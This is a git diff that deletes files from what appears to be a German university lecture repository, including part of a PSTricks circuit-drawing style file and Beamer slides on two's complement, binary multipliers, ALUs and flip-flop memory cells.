\pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /XC X1 X2 add 2 div def - /YC Y2 def - XC YC){C@} - \rput(C@){\pst@draw@agc{#1}{#2}{#4}{#5}} - \ncangle[arrows=-,arm=0.5,angleB=-90]{#3}{Tport@center} - \pcline[linestyle=none](#1)(#2)% for the endarrows - \pcline[linestyle=none](#2)(#3)% for the endarrows - \end@ClosedObj - \ignorespaces% -} -\def\pst@draw@agc#1#2#3#4{% - \pnode(-0.433,0){Tport@left} - \pnode(0.433,0){Tport@right} - \pnode(0,-0.5){Tport@center} - \rput[b](0,0.6){#3} - \psline[arrows=->,arrowinset=0](0,-0.5)(0,-0.25) - \ifx\psk@Tinput\pst@Tinput@left% - \pstriangle[#4,gangle=-90,linewidth=1.5\pslinewidth](-0.433,0)(1,0.866) - \psline[linewidth=1.5\pslinewidth,arrows=->,arrowinset=0](-0.55,-0.5)(0.25,0.5) - \ifPst@inputarrow - \ncangle[arrows=->,arrowinset=0,arm=0.5,angleB=180]{#1}{Tport@left} - \else - \ncangle[arrows=-,arm=0.5,angleB=180]{#1}{Tport@left} - \fi - \ncangle[arrows=-,arm=0.5,angleB=0]{#2}{Tport@right} - \else - \pstriangle[#4,gangle=90,linewidth=1.5\pslinewidth](0.433,0)(1,0.866) - \psline[linewidth=1.5\pslinewidth,arrows=->,arrowinset=0](0.55,-0.5)(-0.25,0.5) - \ifPst@inputarrow - \ncangle[arrows=<-,arrowinset=0,arm=0.5,angleB=180]{Tport@right}{#2} - \else - \ncangle[arrows=-,arm=0.5,angleB=180]{Tport@right}{#2} - \fi - \ncangle[arrows=-,arm=0.5,angleB=180]{#1}{Tport@left}% - \fi% -} -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% Quadripole -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% Coupler %%% -\def\coupler{\pst@object{coupler}} -\def\coupler@i(#1)(#2)(#3)(#4)#5#6{% - \addbefore@par{dimen=middle,arm=0}% - \begin@ClosedObj% - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pst@getcoor{#4}\pst@tempd - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - \pst@tempc /Y4 exch \pst@number\psyunit div def - /X4 exch \pst@number\psxunit div def - /XC X1 X2 lt {X2} {X1} ifelse X3 X4 lt {X3} {X4} ifelse add 2 div def - /YC Y1 -0.4 add def - XC YC){C@} - \rput(C@){\pst@draw@coupler{#6}} - \ncangle[arrows=-,angleA=0,angleB=-180]{#1}{inup@} - \ncangle[arrows=-,angleA=180,angleB=0]{#3}{outup@} - \ifx\psk@Qinput\pst@Qinput@left% - \ifx\psk@Qstyle\pst@Qstyle@hybrid - \ncangle[arrows=-,angleA=0,angleB=-180]{#2}{indown@} - \fi - \ncangle[arrows=-,angleA=180,angleB=0]{#4}{outdown@} - \else - \ncangle[arrows=-,angleA=0,angleB=-180]{#2}{indown@} - \ifx\psk@Qstyle\pst@Qstyle@hybrid - \ncangle[arrows=-,angleA=180,angleB=0]{#4}{outdown@} - \fi - \fi -% \ncangle[arrows=-,angleA=180,angleB=0]{#4}{outdown@} - \ncline[arrows=-,linestyle=none,fillstyle=none]{inup@}{outup@} - \naput{#5} - \pcline[linestyle=none](#1)(#3)% for the end arrows - \pcline[linestyle=none](#2)(#4)% for the end arrows - \end@ClosedObj% - \ignorespaces% -} -% -\def\pst@draw@coupler#1{% - \pnode(-0.75,0.4){inup@} - \pnode(0.75,0.4){outup@} - \psframe[#1,linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,0.5) - \psline(-0.5,0.4)(0.5,0.4) - \psline(-0.5,-0.4)(0.5,-0.4) - \psline(-0.4,0.35)(0.4,-0.35) - \psline(-0.4,-0.35)(0.4,0.35) -% - \ifx\psk@Qinput\pst@Qinput@left% - \pnode(0.75,-0.4){outdown@} - \ifPst@inputarrow% - \psline[arrows=->,arrowinset=0](-0.75,0.4)(-0.5,0.4) - \else - \psline(-0.75,0.4)(-0.5,0.4) - \fi - \psline(0.5,0.4)(0.75,0.4) - \psline(0.5,-0.4)(0.75,-0.4) - \ifx\psk@Qstyle\pst@Qstyle@hybrid - \pnode(-0.75,-0.4){indown@} - \ifPst@inputarrow% - \psline[arrows=->,arrowinset=0](-0.75,-0.4)(-0.5,-0.4) - \else - \psline(-0.75,-0.4)(-0.5,-0.4) - \fi - \else - \ifx\psk@Qstyle\pst@Qstyle@directional - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.8,-0.75)(-0.8,-0.675) - \multips{90}(-0.8,-0.675)(0,0.1){4}% - {\psline[arrows=-,linewidth=1.5\pslinewidth](0,0)(0.025,0.05)(0.075,-0.05)(0.1,0)}% - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.8,-0.275)(-0.8,-0.2) - \psline(-0.75,-0.4)(-0.5,-0.4) - \fi - \fi - \else - \pnode(-0.75,-0.4){indown@} - \ifPst@inputarrow - \psline[arrows=->,arrowinset=0](0.75,0.4)(0.5,0.4) - \else - \psline(0.75,0.4)(0.5,0.4) - \fi - \psline(-0.5,0.4)(-0.75,0.4) - \psline(-0.5,-0.4)(-0.75,-0.4) - \ifx\psk@Qstyle\pst@Qstyle@hybrid - \pnode(0.75,-0.4){outdown@} - \ifPst@inputarrow% - \psline[arrows=->,arrowinset=0](0.75,-0.4)(0.5,-0.4) - \else - \psline(0.75,-0.4)(0.5,-0.4) - \fi - \else - \ifx\psk@Qstyle\pst@Qstyle@directional - \psline[arrows=-,linewidth=1.5\pslinewidth](0.8,-0.75)(0.8,-0.675) - \multips{90}(0.8,-0.675)(0,0.1){4}% - {\psline[arrows=-,linewidth=1.5\pslinewidth](0,0)(0.025,0.05)(0.075,-0.05)(0.1,0)}% - \psline[arrows=-,linewidth=1.5\pslinewidth](0.8,-0.275)(0.8,-0.2) - \psline(0.75,-0.4)(0.5,-0.4) - \fi% - \fi% - \fi% -} -% -\catcode`\@=\PstAtCode\relax -% -\endinput -% diff --git a/20210426/rtech-20210426.pdf b/20210426/rtech-20210426.pdf deleted file mode 100644 index 8e6984ff97c539984facaaa389aeefd43043b289..0000000000000000000000000000000000000000 Binary files a/20210426/rtech-20210426.pdf and /dev/null differ diff --git a/20210426/rtech-20210426.tex b/20210426/rtech-20210426.tex deleted file mode 100644 index 0e747931f5203b4e6e4273fba9b9cd9ef0cf946c..0000000000000000000000000000000000000000 --- a/20210426/rtech-20210426.tex +++ /dev/null @@ -1,586 +0,0 @@ -% rtech-20210426.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Vom Addierer zum Computer - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{pdftricks} - -\newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} -\newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks,pst-grad,pst-circ-pg} - \newcommand{\invisible}{\tiny\color{white}} - \psset{unit=1cm} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} - \newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} -\end{psinputs} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{26.\ April 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \begin{itemize} - \item[1.1] Was ist Rechnertechnik? - \item[1.2] Was ist ein Computer? -% \item[1.3] Rechnertechnik im Verhältnis zu anderen Disziplinen - \end{itemize} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \color{medgreen} - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \color{red} - \item[2.5] Vom Addierer zum Computer - \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{1} -\section{Vom Schaltkreis zum Computer} -\setcounter{subsection}{3} -\subsection{Negative Zahlen} - -\begin{frame}[fragile] - - \showsubsection - - Speicher ist begrenzt!\\ - \textarrow\ feste Anzahl von Bits - - \medskip - - 8-Bit-Zahlen ohne Vorzeichen: \lstinline{uint8_t}\\ - \textarrow\ Zahlenwerte von \lstinline{0x00} bis \lstinline{0xff} = 0 bis 255\\ - \pause - \textarrow\ 255 + 1 = 0 - - \pause - \medskip - - 8-Bit-Zahlen mit Vorzeichen: \lstinline{int8_t}\\ - \lstinline{0xff} = 255 ist die "`natürliche"' Schreibweise für $-1$.\\ - \pause - \textarrow\ Zweierkomplement - - \pause - \medskip - - Oberstes Bit = 1: negativ\\ - Oberstes Bit = 0: positiv\\ - \textarrow\ 127 + 1 = $-128$ - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Speicher ist begrenzt!\\ - \textarrow\ feste Anzahl von Bits - - \medskip - - 16-Bit-Zahlen ohne Vorzeichen: - \lstinline{uint16_t}\hfill\lstinline{uint8_t}\\ - \textarrow\ Zahlenwerte von \lstinline{0x0000} bis \lstinline{0xffff} - = 0 bis 65535\hfill 0 bis 255\\ - \textarrow\ 65535 + 1 = 0\hfill 255 + 1 = 0 - - \medskip - - 16-Bit-Zahlen mit Vorzeichen: - \lstinline{int16_t}\hfill\lstinline{int8_t}\\ - \lstinline{0xffff} = 66535 ist die "`natürliche"' Schreibweise für $-1$.\hfill - \lstinline{0xff} = 255 = $-1$\\ - \textarrow\ Zweierkomplement - - \medskip - - Oberstes Bit = 1: negativ\\ - Oberstes Bit = 0: positiv\\ - \textarrow\ 32767 + 1 = $-32768$ - - \bigskip - Literatur: \url{http://xkcd.com/571/} - -\end{frame} - -\iffalse - -\begin{frame}[fragile] - - \showsubsection - - Frage: \emph{Für welche Zahl steht der Speicherinhalt\, - \raisebox{2pt}{% - \tabcolsep0.25em - \begin{tabular}{|c|c|}\hline - \rule{0pt}{11pt}a3 & 90 \\\hline - \end{tabular}} - (hexadezimal)?} - - \pause - \smallskip - Antwort: \emph{Das kommt darauf an.} ;--) - - \pause - \medskip - Little-Endian: - - \smallskip - - \begin{tabular}{lrl} - als \lstinline,int8_t,: & $-93$ & (nur erstes Byte)\\ - als \lstinline,uint8_t,: & $163$ & (nur erstes Byte)\\ - als \lstinline,int16_t,: & $-28509$\\ - als \lstinline,uint16_t,: & $37027$\\ - \lstinline,int32_t, oder größer: & $37027$ - & (zusätzliche Bytes mit Nullen aufgefüllt) - \end{tabular} - - \pause - \medskip - Big-Endian: - - \smallskip - - \begin{tabular}{lrl} - als \lstinline,int8_t,: & $-93$ & (nur erstes Byte)\\ - als \lstinline,uint8_t,: & $163$ & (nur erstes Byte)\\ - als \lstinline,int16_t,: & $-23664$\\ - als \lstinline,uint16_t,: & $41872$\\ als \lstinline,int32_t,: & $-1550843904$ & (zusätzliche Bytes\\ - als \lstinline,uint32_t,: & $2744123392$ & mit Nullen aufgefüllt)\\ - als \lstinline,int64_t,: & $-6660823848880963584$\\ - als \lstinline,uint64_t,: & $11785920224828588032$\\ - \end{tabular} - - \vspace*{-1cm} - -\end{frame} - -\fi - -\begin{frame} - - \showsubsection - - Aufbau einer Schaltung zum Bilden des Zweierkomplements:\\ - Siehe Skript, Seite 15--19 - -\end{frame} - -\subsection{Vom Addierer zum Computer} - -\begin{frame} - - \showsubsection - - Wir können jetzt addieren und subtrahieren.\\ - Wie bauen wir daraus einen Turing-vollständigen Computer? - \begin{itemize} - \pause - \item - Arithmetisch-logische Einheit (ALU)\\ - (Skript: Seite 20) - \pause - \item - Speicher - \pause - \item - Takt - \end{itemize} - -\end{frame} - -\iffalse - -\begin{frame} - - \showsubsection - - Zeit ins Spiel bringen: - \begin{itemize} - \item sich 1 Bit merken: Flipflop - \item zeitlicher Ablauf: Taktgeber - \item voranschreiten: Zähler (aus Flipflops) - \end{itemize} - - \pause - \bigskip - - Programmieren: - \begin{itemize} - \item ALU kann verschiedene Operationen durchführen - \item Maschinensprache codiert, welche Operation ausgeführt werden soll - \item Das Laden von Registern ermöglicht auch Sprünge \textarrow\ Schleifen - \end{itemize} - -\end{frame} - -\fi - -\setcounter{subsection}{4} -\subsection{Vom Addierer zum Computer} - -\begin{frame}[fragile] - - \showsubsection - - 1-Bit-Multiplizierer - \only<3->{= Und-Verknüpfung} - - \medskip - - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & \visible<2->{0} \\\hline - 0 & 1 & \visible<2->{0} \\\hline - 1 & 0 & \visible<2->{0} \\\hline - 1 & 1 & \visible<2->{1} \\\hline - \end{tabular}\quad\pause[3] - \begin{minipage}{2.5cm} - \vspace*{0.5cm} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=and](-0.75,-0.125){and1} - \psline[arrows=o-](-2,0|and12)(and12) - \uput[180](-2,0|and12){A} - \psline[arrows=o-](-2,0|and11)(and11) - \uput[180](-2,0|and11){B} - \psline[arrows=o-](2,0|and1Q)(and1Q) - \uput[0](2,0|and1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{minipage} - -\end{frame} - -\begin{frame} - - \showsubsection - - 1-Bit-Multiplizierer = Und-Verknüpfung - - \smallskip - - n-Bit-Multiplizierer\pause: "`schriftlich"' multiplizieren - - \bigskip - \pause - - Beispiel: $13 \cdot 5$ - - \smallskip - - \begin{tabular}{r} - $1101 \cdot 101$\\[-1.5\smallskipamount] - \rule{2cm}{1pt}\\ - $1101\phantom{00}$\\ - $0\phantom{0}$\\ - $1101$\\[-1.5\smallskipamount] - \rule{2cm}{1pt}\\ - $1000001$ - \end{tabular}% - \begin{picture}(0,0) - \put(-0.95,-0.63){\mbox{\scriptsize 1}} - \put(-1.15,-0.63){\mbox{\scriptsize 1}} - \put(-1.35,-0.63){\mbox{\scriptsize 1}} - \put(-1.55,-0.63){\mbox{\scriptsize 1}} - \end{picture}\pause - \hspace*{2cm}% - \begin{minipage}{5cm} - Multiplizier-Schaltkreis\\ - für zwei 2-Bit-Zahlen:\\[\smallskipamount] - \color{red}Sie sind dran. - \end{minipage} - -\end{frame} - -\begin{frame} - - \showsubsection - - Schaltkreis, der wahlweise eine von mehreren Verknüpfungen - durchführt: - - \smallskip - - \newterm{arithmetisch-logische Einheit\/} -- - \newterm{arithmetic logic unit (ALU)} - - \bigskip - - \begin{center} - \vspace*{-2.5cm} - \includegraphics{alu2.pdf} - \vspace*{-25cm} - \end{center} - - \bigskip - - Skript: Seite - -\end{frame} - -\begin{frame}[fragile] - - \begin{visibleenv}<2-> - \showsubsection - - Information speichern - \end{visibleenv} - - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1,1.5){A} - \uput[l](-2.5,0|A){$S$} - \pnode(1,1.5){B} - \ground[connectingdot=false](2,1.5) - \relais(A)(B){} - \pnode(2.5,2.5){A3} - \uput[l](2.0,0|A3){$R$} - \pnode(4.5,2.5){B3} - \ground[connectingdot=false](5.5,2.5) - \relais(A3)(B3){} - \pnode(-0.5,0){C0} - \psline[arrows=-*](C0)(-1.5,0)(-1.5,1.5) - \pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \pnode(3,-0.3){C3} - \pnode(4,0){D3} - \pnode(4,-0.6){E3} - \psline[arrows=*-,linewidth=2\pslinewidth](C3)(D3) - \pnode(7,0.7){D3plus} - \uput[180](D3plus){\textbf{+}} - \psline(E0)(C3) - \psline[arrows=->,arrowsize=0.3](D3)(D3plus|D3)(D3plus) - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \pnode(-0.5,-1.5){C1} - \pnode(0.5,-1.2){D1} - \pnode(0.5,-1.8){E1} - \uput[r](2.5,0|E1){$Q$} - \pnode(-3.0,-0.5){C1plus} - \uput[180](C1plus){\textbf{+}} - \psline[arrows=->,arrowsize=0.3](C1)(C1plus|C1)(C1plus) - \psline[arrows=*-,linewidth=2\pslinewidth](C1)(D1) - \psline[linestyle=dashed](0,-1.25)(0,1.0) - \psline[linestyle=dashed](3.5,-0.15)(3.5,2.0) - \psline[arrows=o-](-2.5,0|A)(A) - \psline[arrows=o-](2.0,0|A3)(A3) - \psline(B)(2,0|B) - \psline(B3)(5.5|B3) - \psline[arrows=o-](1.5,0|D0)(D0) - \psline[arrows=o-](1.5,0|D1)(D1) - \psline[arrows=o-](2.5,0|E1)(E1) - \psline[arrows=o-](5.0,0|E3)(E3) - \end{pspicture} - \end{pdfpic} - - \pause - - \newterm{Selbsthalteschaltung} - - 1-Bit-\newterm{Speicherzelle} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Information speichern - - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-4,-4)(4,4) - \logic[logicType=nand](-0.75,2){nand1} - \logic[logicType=nand](-0.75,-2){nand2} - \psline[arrows=o-](-3,0|nand12)(nand12) - \uput[180](-3,0|nand12){$\overline{\mbox{S}}$} - \psline[arrows=o-](-3,0|nand21)(nand21) - \uput[180](-3,0|nand21){$\overline{\mbox{R}}$} - \psline[arrows=o-](3,0|nand1Q)(nand1Q) - \uput[0](3,0|nand1Q){Q} - \psline[arrows=o-](3,0|nand2Q)(nand2Q) - \uput[0](3,0|nand2Q){$\overline{\mbox{Q}}$} - \psline[arrows=*-](2,0|nand1Q)(2,1.75)(-2,0.75)(-2,0|nand22)(nand22) - \psline[arrows=*-](2,0|nand2Q)(2,0.75)(-2,1.75)(-2,0|nand11)(nand11) - \end{pspicture} - \end{pdfpic} - - \newterm{Bistabile Kippstufe} -- \newterm{Bistabiler Multivibrator} -- \newterm{Flip-Flop} - - 1-Bit-Speicherzelle - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Information speichern - - \vspace*{-0.5cm} - - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-4,-4)(4,4) - \pnode(0,0.5){A} - \pnode(0,-0.5){B} - \capacitor(A)(B){} - \psline[arrows=-o](A)(A|0,1) - \psline[arrows=-o](B)(B|0,-1) - \end{pspicture} - \end{pdfpic} - - \vspace*{-1.0cm} - - \newterm{Kondensator} - - \only<2->{\newterm{dynamische\/}} 1-Bit-Speicherzelle\\ - \pause - \textarrow\ benötigt \newterm{Refresh}-Schaltung - - \pause[3] - \medskip - Flip-Flop - - \newterm{statische\/} 1-Bit-Speicherzelle - - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-4,-4)(4,4) - \logic[logicType=nand](-0.75,2){nand1} - \logic[logicType=nand](-0.75,-2){nand2} - \psline[arrows=o-](-3,0|nand12)(nand12) - \uput[180](-3,0|nand12){$\overline{\mbox{S}}$} - \psline[arrows=o-](-3,0|nand21)(nand21) - \uput[180](-3,0|nand21){$\overline{\mbox{R}}$} - \psline[arrows=o-](3,0|nand1Q)(nand1Q) - \uput[0](3,0|nand1Q){Q} - \psline[arrows=o-](3,0|nand2Q)(nand2Q) - \uput[0](3,0|nand2Q){$\overline{\mbox{Q}}$} - \psline[arrows=*-](2,0|nand1Q)(2,1.75)(-2,0.75)(-2,0|nand22)(nand22) - \psline[arrows=*-](2,0|nand2Q)(2,0.75)(-2,1.75)(-2,0|nand11)(nand11) - \end{pspicture} - \end{pdfpic} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Computer - \begin{itemize} - \item Rechenwerk (ALU) - \item Speicher\pause: Register, adressierbarer Hauptspeicher - \pause - \item Takt\pause: Befehle abarbeiten - \pause - \item Peripherie: Kommunikation mit der Außenwelt - \pause - \arrowitem in Maschinensprache programmierbar - \end{itemize} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \color{orange} - \item[2.5] Vom Addierer zum Computer - \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210426/speicheradressierung.png b/20210426/speicheradressierung.png deleted file mode 100644 index 4773ec6306803953827ca87847adb81bfb12fe4d..0000000000000000000000000000000000000000 Binary files a/20210426/speicheradressierung.png and /dev/null differ diff --git a/20210426/speicheradressierung.xcf.gz b/20210426/speicheradressierung.xcf.gz deleted file mode 100644 index f68c374ae5917a65c8bb1e70bb227ba250d83a8d..0000000000000000000000000000000000000000 Binary files a/20210426/speicheradressierung.xcf.gz and /dev/null differ diff --git a/20210426/takt-zaehler-1.png b/20210426/takt-zaehler-1.png deleted file mode 100644 index 072374febea3f666f014f58700bdabac08ac85cd..0000000000000000000000000000000000000000 Binary files a/20210426/takt-zaehler-1.png and /dev/null differ diff --git a/20210426/takt-zaehler-2.png b/20210426/takt-zaehler-2.png deleted file mode 100644 index 5f9efce80310593c46bc1ebafc446b0aa2b16182..0000000000000000000000000000000000000000 Binary files a/20210426/takt-zaehler-2.png and /dev/null differ diff --git a/20210426/takt-zaehler-3.png b/20210426/takt-zaehler-3.png deleted file mode 100644 index 2a9a42cb8be3e8a19b2dc62b93f088ef4f792713..0000000000000000000000000000000000000000 Binary files a/20210426/takt-zaehler-3.png and /dev/null differ diff --git a/20210426/takt-zaehler-4.png b/20210426/takt-zaehler-4.png deleted file mode 100644 index e44693e6e9229d6c7a44de13079d2861a2595d1a..0000000000000000000000000000000000000000 Binary files a/20210426/takt-zaehler-4.png and /dev/null differ diff --git a/20210426/takt-zaehler-5.png b/20210426/takt-zaehler-5.png deleted file mode 100644 index 85b4eefc5c59233892fec7c6e015fb0027fd7874..0000000000000000000000000000000000000000 Binary files a/20210426/takt-zaehler-5.png and /dev/null differ diff --git a/20210426/takt-zaehler.xcf.gz b/20210426/takt-zaehler.xcf.gz deleted file mode 100644 index 59dd4b2d8a20ae1cd5a3e30bf52ec680c3b08101..0000000000000000000000000000000000000000 Binary files a/20210426/takt-zaehler.xcf.gz and /dev/null differ diff --git a/20210427/1268px-Transistor_Multivibrator.svg.png b/20210427/1268px-Transistor_Multivibrator.svg.png deleted file mode 100644 index 37c63b95ddd1023e81f6159bbc7c8a468bdb8988..0000000000000000000000000000000000000000 Binary files a/20210427/1268px-Transistor_Multivibrator.svg.png and /dev/null differ diff --git a/20210427/3Com_OfficeConnect_ADSL_Wireless_11g_Firewall_Router_2012-10-28-0866.jpg b/20210427/3Com_OfficeConnect_ADSL_Wireless_11g_Firewall_Router_2012-10-28-0866.jpg deleted file mode 100644 index d3e48c33c62c15b8baf0ac1f13306301a1e27075..0000000000000000000000000000000000000000 Binary files a/20210427/3Com_OfficeConnect_ADSL_Wireless_11g_Firewall_Router_2012-10-28-0866.jpg and /dev/null differ diff --git a/20210427/Crystal_Oscillator_DIP_Module_Teardown.png b/20210427/Crystal_Oscillator_DIP_Module_Teardown.png deleted file mode 100644 index 99ffe0c4418dbf4326979b4075eb61ae55930c09..0000000000000000000000000000000000000000 Binary files a/20210427/Crystal_Oscillator_DIP_Module_Teardown.png and /dev/null differ diff --git a/20210427/alu.jpg b/20210427/alu.jpg deleted file mode 120000 index 6b948ed703aa8af048f41d06dec9e8a479b9352a..0000000000000000000000000000000000000000 --- a/20210427/alu.jpg +++ /dev/null @@ -1 +0,0 @@ -../script/alu.jpg \ No newline at end of file diff --git a/20210427/alu2.pdf b/20210427/alu2.pdf deleted file mode 100644 index e0d031999f1521220c28875e2a8fd7d7840c0423..0000000000000000000000000000000000000000 Binary files a/20210427/alu2.pdf and /dev/null differ diff --git a/20210427/astabile-kippstufe.png b/20210427/astabile-kippstufe.png deleted file mode 120000 index d20a76d10e43db29e02204d4b91671bc266f4682..0000000000000000000000000000000000000000 --- a/20210427/astabile-kippstufe.png +++ /dev/null @@ -1 +0,0 @@ -1268px-Transistor_Multivibrator.svg.png \ No newline at end of file diff --git a/20210427/astabile-kippstufe.xcf.gz b/20210427/astabile-kippstufe.xcf.gz deleted file mode 100644 index f7705114754b16c5a434509f5ba42ade312b30c4..0000000000000000000000000000000000000000 Binary files a/20210427/astabile-kippstufe.xcf.gz and /dev/null differ diff --git a/20210427/logo-hochschule-bochum-cvh-text-v2.pdf b/20210427/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210427/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210427/logo-hochschule-bochum.pdf b/20210427/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210427/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210427/pgslides.sty b/20210427/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210427/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210427/pst-circ-pg.sty b/20210427/pst-circ-pg.sty deleted file mode 100644 index d929067cfd6101b2c24002b0073843978281494e..0000000000000000000000000000000000000000 --- a/20210427/pst-circ-pg.sty +++ /dev/null @@ -1,2742 +0,0 @@ -%% This is the file `pst-circ-pg.tex', a modified version of `pst-circ.tex'. -%% -%% IMPORTANT NOTICE: -%% -%% Package `pst-circ.tex' -%% -%% Original idea: A.Premoli I.Maio, M.Luque, -%% -%% Christophe Jorssen <CJ@PSTricks.de> -%% Herbert Voss <voss@PSTricks.de> -%% -%% Modifications by Peter Gerwinski <peter@gerwinski.de>: -%% - do not draw a dot in the middle of a transistor ("\psdot(#1)") -%% - draw MOSFETs -%% - new logic type "user" with explicit number of outputs "NOutput" -%% and explicit label "\logicusertype" -%% -%% This program can be redistributed and/or modified under the terms -%% of the LaTeX Project Public License Distributed from CTAN archives -%% in directory CTAN:/macros/latex/base/lppl.txt. -%% -%% DESCRIPTION: -%% `pst-circ' is a PSTricks package to draw electric circuits -%% -%% For a ChangeLog go the the end -%% -\csname PSTcircLoaded\endcsname -\let\PSTcircLoaded\endinput -% -% Require PSTricks and pst-node packages -% -\ifx\PSTricksLoaded\endinput\else\input pstricks.tex\fi -\ifx\PSTnodeLoaded\endinput\else\input pst-node.tex\fi -\ifx\PSTXKeyLoaded\endinput\else\input pst-xkey 